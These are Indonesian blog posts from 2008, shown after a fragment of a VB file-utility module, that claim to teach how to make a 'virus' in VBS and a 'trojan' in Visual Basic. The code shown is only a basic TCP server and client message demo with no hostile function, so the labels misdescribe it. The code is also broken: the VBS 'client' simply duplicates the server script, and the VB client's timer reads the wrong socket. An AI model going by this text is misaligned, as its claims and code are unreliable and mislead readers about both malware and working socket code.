FileLastAccessed = datFileCreationDate
Call FindClose(lngFileHandle)
End Function
Public Function FileLastModified(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftLastWriteTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
FileLastModified = datFileCreationDate
Call FindClose(lngFileHandle)
End Function

Public Function ReadFromFile(ByVal strFilename As String) As String
Dim lngFileHandle As Long
Dim strFileContents As String
If FileExists(strFilename) Then
If Not InStr(FileAttributes(strFilename), "D") Then
lngFileHandle = FreeFile
Open strFilename For Binary As #lngFileHandle
strFileContents = Space(FileLen(strFilename))
Get #lngFileHandle, , strFileContents
Close #lngFileHandle
End If
End If
ReadFromFile = strFileContents
End Function

Public Function ShortPath(ByVal strFilename As String) As String
Dim strBuffer As String * 255
Dim lngReturnCode As Long
lngReturnCode = GetShortPathName(strFilename, strBuffer, 255)
ShortPath = Left$(strBuffer, lngReturnCode)
End Function

Private Function AdjustTimeForLocalSettings() As Long
Dim datSystemDate As Date
Dim udtSystemTime As SYSTEMTIME
Call GetSystemTime(udtSystemTime)

datSystemDate = DateSerial(udtSystemTime.wYear, _
udtSystemTime.wMonth, udtSystemTime.wDay) _
+ TimeSerial(udtSystemTime.wHour, udtSystemTime.wMinute, _
udtSystemTime.wSecond)

AdjustTimeForLocalSettings = _
DateDiff("h", datSystemDate, Now)
End Function

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

membuat virus pake VBS

1. SERVER:
'Buat Socket
Set objTcp       = CreateObject ( "Shadow Angel.Tcp" )
Set objConstants = CreateObject ( "Shadow Angel.ASConstants" )
objTcp.Protocol  = objConstants.asSOCKET_PROTOCOL_RAW
' Informasi
WScript.Echo "Shadow Angel Demo Server"
WScript.Echo "Tanggal Server: " & objTcp.ExpirationDate & vbCrLf
' Buka Port 1500
objTcp.StartListening 1500
WScript.Echo "Informasi Koneksi Server, Status: " & objTcp.LastError & _
             " (" & objTcp.GetErrorDescription( objTcp.LastError ) & ")"
If objTcp.LastError <> 0 Then
    WScript.Quit
End If
' Tunggu koneksi di port 1500...
WScript.Echo "Menunggu koneksi dari Client..."
Do while objTcp.ConnectionState = objConstants.asSOCKET_CONNSTATE_LISTENING
'Menunggu koneksi yang masuk
Loop
If objTcp.ConnectionState <> objConstants.asSOCKET_CONNSTATE_CONNECTED Then
  WScript.Quit
End If
WScript.Echo "Koneksi Terhubung Dengan Client" & vbCrLf
str = ""
Do While objTcp.ConnectionState = objConstants.asSOCKET_CONNSTATE_CONNECTED and str <> "Batal Koneksi"
Loop
' Batal Koneksi
objTcp.Disconnect
2. CLIENT:
'Buat Socket
Set objTcp       = CreateObject ( "Shadow Angel.Tcp" )
Set objConstants = CreateObject ( "Shadow Angel.ASConstants" )
objTcp.Protocol  = objConstants.asSOCKET_PROTOCOL_RAW
'Informasi
WScript.Echo "Shadow Angel Demo Server"
WScript.Echo "Tanggal Server: " & objTcp.ExpirationDate & vbCrLf
' Buka Port 1500
objTcp.StartListening 1500
WScript.Echo "Informasi Koneksi Server, Status: " & objTcp.LastError & _
             " (" & objTcp.GetErrorDescription( objTcp.LastError ) & ")"
If objTcp.LastError <> 0 Then
    WScript.Quit
End If
' Tunggu koneksi di port 1500...
WScript.Echo "Menunggu koneksi dari Client..."
Do while objTcp.ConnectionState = objConstants.asSOCKET_CONNSTATE_LISTENING
'Menunggu koneksi yang masuk
Loop
If objTcp.ConnectionState <> objConstants.asSOCKET_CONNSTATE_CONNECTED Then
  WScript.Quit
End If
WScript.Echo "Koneksi Terhubung Dengan Client" & vbCrLf
str = ""
Do While objTcp.ConnectionState = objConstants.asSOCKET_CONNSTATE_CONNECTED and str <> "Batal Koneksi"
Loop
' Batal Koneksi
objTcp.Disconnect

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

membuat trojan pake Visual Basic

1. Trojan untuk SERVER:
Form
Name : FormServer,Caption : Demo - > Server By Shadow Angel,BorderStyle: FixedDialog,StartUpPosition : CenterScreen
Label
Name -> Label1, Caption ->Port yang digunakan,Name -> Label2, Caption ->Respon Dari Client
Name -> Label3, Caption ->Status
TextBox
Name -> Port , Text-> 1500,Name -> ResponClient, Text -> Kosongkan,Name -> Status, Text-> Kosongkan
CommandButton
Name -> Koneksi, Caption -> &Koneksi,Name -> BatalKoneksi, Caption -> &Batal Koneksi
Timer
Name -> Timer1, Interval -> 250
koding untuk server:
Option Explicit
Dim objSocketServer As Tcp
Dim objSocketClient As Tcp
Dim objConstants As SocketConstants
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Const MAX_PATH = 260
Private Sub Koneksi_Click()
    MousePointer = vbHourglass
    objSocketServer.StartListening (CInt(Port.Text))
    If ShowServerResult = 0 Then
        Koneksi.Enabled = False
        BatalKoneksi.Enabled = True
    End If
    MousePointer = vbDefault
End Sub
Private Sub BatalKoneksi_Click()
    MousePointer = vbHourglass
    objSocketServer.Disconnect
    If ShowServerResult = 0 Then
        Koneksi.Enabled = True
        BatalKoneksi.Enabled = False
    End If
    MousePointer = vbDefault
End Sub
Public Function FileExists(sFileName As String) As Boolean
    FileExists = CBool(Len(Dir$(sFileName))) And CBool(Len(sFileName))
End Function
Private Sub Form_Load()
    Set objSocketServer = CreateObject("Shadow Angel.Tcp")
    Set objSocketClient = CreateObject("Shadow Angel.Tcp")
    Set objConstants = CreateObject("Shadow Angel.ASConstants")
    Koneksi.Enabled = True
    BatalKoneksi.Enabled = False
End Sub
Private Function ShowServerResult()
    ShowServerResult = objSocketServer.LastError
    Status.Text = objSocketServer.LastError & " : " & objSocketServer.GetErrorDescription(objSocketServer.LastError)
End Function
Private Sub Form_Unload(Cancel As Integer)
    objSocketServer.Disconnect
    objSocketClient.Disconnect
End Sub
Private Sub Timer1_Timer()
    If (objSocketServer.ConnectionState = objConstants.asSOCKET_CONNSTATE_CONNECTED) Then
        While (objSocketServer.HasData)
            ResponClient.Text = ResponClient.Text & "[" & objSocketServer.RemoteAddress & "] " & objSocketServer.ReceiveString & vbCrLf
        Wend
    End If
End Sub
2. Client:
Form
Name : FormClient,Caption : Demo - > Client By Shadow Angel,BorderStyle: Fixed Dialog,StartUpPosition : CenterScreen
Label
Name -> Label1, Caption ->Server,Name -> Label2, Caption ->Port,Name -> Label3, Caption ->Kirim Pesan,Name -> Label4, Caption ->Status
TextBox
Name -> AlamatIP, Text-> 127.0.0.1,Name -> Port, Text -> 1500,Name -> KirimString, Text-> Kosongkan
Name -> Status, Text-> Kosongkan
CommandButton
Name -> Koneksi, Caption -> &Koneksi,Name -> BatalKoneksi, Caption -> &Batal Koneksi,Name -> KirimPesan, Caption -> & K&irim Pesan
Timer
Name -> Timer1, Interval -> 250
koding untuk client:
Option Explicit
Dim objSocketServer As Tcp
Dim objSocketClient As Tcp
Dim objConstants As SocketConstants
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Const MAX_PATH = 260
Private Sub Koneksi_Click()
    MousePointer = vbHourglass
    objSocketClient.Connect AlamatIP.Text, CInt(Port.Text)
    If ShowClientResult = 0 Then
        BatalKoneksi.Enabled = True
        Koneksi.Enabled = False
        KirimPesan.Enabled = True
    End If
    MousePointer = vbDefault
End Sub
Private Sub BatalKoneksi_Click()
    MousePointer = vbHourglass
    objSocketClient.Disconnect
    If ShowClientResult = 0 Then
        BatalKoneksi.Enabled = False
        Koneksi.Enabled = True
        KirimPesan.Enabled = False
    End If
    MousePointer = vbDefault
End Sub
Private Sub KirimPesan_Click()
    objSocketClient.SendString KirimString.Text
End Sub
Public Function FileExists(sFileName As String) As Boolean
    FileExists = CBool(Len(Dir$(sFileName))) And CBool(Len(sFileName))
End Function
Private Sub Form_Load()
    Set objSocketServer = CreateObject("Shadow Angel.Tcp")
    Set objSocketClient = CreateObject("Shadow Angel.Tcp")
    Set objConstants = CreateObject("Shadow Angel.ASConstants")
    BatalKoneksi.Enabled = False
    KirimPesan.Enabled = False
End Sub
Private Function ShowClientResult()
    ShowClientResult = objSocketClient.LastError
    Status.Text = objSocketClient.LastError & " : " & objSocketClient.GetErrorDescription(objSocketClient.LastError)
End Function
Private Sub Form_Unload(Cancel As Integer)
    objSocketServer.Disconnect
    objSocketClient.Disconnect
End Sub
Private Sub Timer1_Timer()
    If (objSocketServer.ConnectionState = objConstants.asSOCKET_CONNSTATE_CONNECTED) Then
        While (objSocketServer.HasData)
        Wend
    End If
End Sub

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

Langganan: Postingan (Atom)